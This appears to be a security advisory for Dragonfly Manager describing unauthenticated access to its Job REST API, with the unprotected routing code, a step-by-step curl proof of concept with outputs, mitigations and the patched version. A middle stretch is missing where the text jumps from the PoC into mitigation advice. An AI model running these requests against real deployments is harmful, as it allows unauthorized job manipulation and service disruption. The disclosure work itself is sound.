  "details": "## Summary\n\nDragonfly Manager\u0027s Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.\n\n## Affected Products\n\n- **Product**: Dragonfly\n- **Component**: Manager (REST API)\n- **Affected Versions**: v2.x (based on source code analysis, including v2.4.0)\n- **Affected Endpoints**: `/api/v1/jobs`\n\n## Vulnerability Details\n\n### Description\n\nDragonfly Manager\u0027s Job API endpoints (`/api/v1/jobs`) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:\n\n1. **List all jobs** (GET `/api/v1/jobs`)\n2. **Create new jobs** (POST `/api/v1/jobs`)\n3. **Query job details** (GET `/api/v1/jobs/:id`)\n4. **Modify jobs** (PATCH `/api/v1/jobs/:id`)\n5. **Delete jobs** (DELETE `/api/v1/jobs/:id`)\n\n### Technical Root Cause\n\nIn the source code file `manager/router/router.go` at lines 204-211, the Job API route group lacks authentication middleware:\n\n```go\n// TODO Add auth to the following routes and fix the tests.\n// Job.\njob := apiv1.Group(\"/jobs\")\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n```\n\nIn contrast, other API endpoints (such as `/clusters`) are correctly configured with authentication:\n\n```go\n// manager/router/router.go:143\nc := apiv1.Group(\"/clusters\", jwt.MiddlewareFunc(), rbac)\n```\n\nThe developer left a TODO comment in the code, indicating this is a known but unresolved issue.\n\n## Proof of Concept\n\n### Environment Setup\n\n#### Prerequisites\n- Kubernetes cluster (Kind/Minikube/GKE, etc.)\n- Helm 3.8.0+\n- kubectl\n- curl and jq\n\n#### Deployment Steps\n\n1. **Add Dragonfly Helm Repository**\n```bash\nhelm repo add dragonfly https://dragonflyoss.github.io/helm-charts/\nhelm repo update\n```\n\n2. **Generate Deployment Manifest**\n```bash\nhelm template dragonfly dragonfly/dragonfly \\\n  --namespace dragonfly-system \\\n  --set manager.replicas=1 \\\n  --set scheduler.replicas=1 \\\n  --set seedClient.replicas=1 \\\n  --set client.enable=false \u003e /tmp/dragonfly-manifest.yaml\n```\n\n3. **Deploy to Kubernetes**\n```bash\nkubectl create namespace dragonfly-system\nkubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system\nkubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s\n```\n\n**Expected Output**:\n```\nnamespace/dragonfly-system created\n[... resource creation messages ...]\npod/dragonfly-manager-5cc788d64b-grpbk condition met\npod/dragonfly-mysql-0 condition met\npod/dragonfly-redis-master-0 condition met\npod/dragonfly-scheduler-0 condition met\npod/dragonfly-seed-client-0 condition met\n```\n\n4. **Setup Port Forwarding**\n```bash\nkubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 \u0026\n```\n\n### Exploitation Steps\n\n#### Step 1: Verify Unauthenticated Access\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Actual Output**:\n```json\n[]\n```\n\n**HTTP Status Code**: `200 OK`\n\n**Analysis**: The API returns a successful response instead of `401 Unauthorized`, confirming the lack of authentication.\n\n#### Step 2: Create Unauthorized Job\n\n**Command**:\n```bash\ncurl -s -X POST http://localhost:8080/api/v1/jobs \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"type\": \"preheat\",\n    \"args\": {\n      \"type\": \"file\",\n      \"url\": \"http://example.com/test-file.txt\"\n    },\n    \"scheduler_cluster_ids\": [1]\n  }\u0027 | jq .\n```\n\n**Actual Output**:\n```json\n{\n  \"id\": 2,\n  \"created_at\": \"2026-01-17T16:34:22.497Z\",\n  \"updated_at\": \"2026-01-17T16:34:22.497Z\",\n  \"task_id\": \"group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9\",\n  \"type\": \"preheat\",\n  \"state\": \"PENDING\",\n  \"args\": {\n    \"type\": \"file\",\n    \"url\": \"http://example.com/test-file.txt\",\n    \"scope\": \"single_seed_peer\",\n    \"timeout\": 3600000000000\n  },\n  \"user_id\": 0,\n  \"scheduler_clusters\": [\n    {\n      \"id\": 1,\n      \"name\": \"cluster-1\",\n      \"is_default\": true\n    }\n  ]\n}\n```\n\n**HTTP Status Code**: `200 OK`\n\n**Analysis**: Successfully created a Job (ID: 2) without any authentication token.\n\n#### Step 3: Query Job Details\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq \u0027.id, .type, .state\u0027\n```\n\n**Actual Output**:\n```json\n2\n\"preheat\"\n\"PENDING\"\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 4: Modify Job\n\n**Command**:\n```bash\ncurl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"bio\": \"Modified by unauthenticated attacker\"}\u0027 | jq \u0027.id, .bio\u0027\n```\n\n**Actual Output**:\n```json\n2\n\"Modified by unauthenticated attacker\"\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 5: Delete Job\n\n**Command**:\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\" -X DELETE http://localhost:8080/api/v1/jobs/2\n```\n\n**Actual Output**:\n```\n200\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 6: Comparison Test -

Use firewall rules to limit source IPs\n   - Only allow trusted internal networks to access\n   - Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication\n\n2. **API Gateway**: Deploy an API gateway in front of Manager for authentication\n   - Use reverse proxies like Nginx/Kong/Traefik\n   - Configure OAuth2/JWT validation\n\n3. **Monitoring and Alerting**: Monitor abnormal access patterns to Job API\n   - Log all Job API calls\n   - Set up alerts for abnormal job creation/deletion\n\n### Verify Fix\n\nAfter the fix, all unauthenticated requests should return `401 Unauthorized`:\n\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Expected Output**:\n```json\n{\n  \"message\": \"Unauthorized\"\n}\n```\n\n## Appendix: Complete Verification Logs\n\n### Deployment Verification Logs\n\n```bash\n$ kubectl -n dragonfly-system get pods\nNAME                                 READY   STATUS    RESTARTS   AGE\ndragonfly-manager-5cc788d64b-grpbk   1/1     Running   0          5m\ndragonfly-mysql-0                    1/1     Running   0          5m\ndragonfly-redis-master-0             1/1     Running   0          5m\ndragonfly-redis-replicas-0           1/1     Running   0          5m\ndragonfly-scheduler-0                1/1     Running   0          5m\ndragonfly-seed-client-0              1/1     Running   0          5m\n\n$ kubectl -n dragonfly-system get svc dragonfly-manager\nNAME                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)              AGE\ndragonfly-manager   ClusterIP   10.96.240.126   \u003cnone\u003e        8080/TCP,65003/TCP   5m\n```\n\n### POC Execution Complete Logs\n\nSee `poc_output.log` file for details.\n```\n==========================================\nVUL-001: Job API Unauthenticated Access POC\n==========================================\n\n[Test 1] GET /api/v1/jobs (No Authentication)\nHTTP Status: 200\nResponse: []\n\u2705 VULNERABLE: Endpoint accessible without authentication\n\n[Test 2] POST /api/v1/jobs (No Authentication)\nHTTP Status: 200\nJob ID: 2\n\u2705 VULNERABLE: Job created without authentication\n\n[Test 3] GET /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job details accessible without authentication\n\n[Test 4] PATCH /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job updated without authentication\n\n[Test 5] DELETE /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n\u2705 VULNERABLE: Job deleted without authentication\n\n[Test 6] GET /api/v1/clusters (Should Require Authentication)\nHTTP Status: 401\nResponse: {\"message\":\"Unauthorized\"}\n\u2705 EXPECTED: Endpoint correctly requires authentication\n\n==========================================\nPOC Execution Complete\n==========================================\n\n```\n---\n\n## Patches\n\n- Dragonfy v2.4.1 and above.\n\n## Workarounds\n\nThere are no effective workarounds, beyond upgrading.",
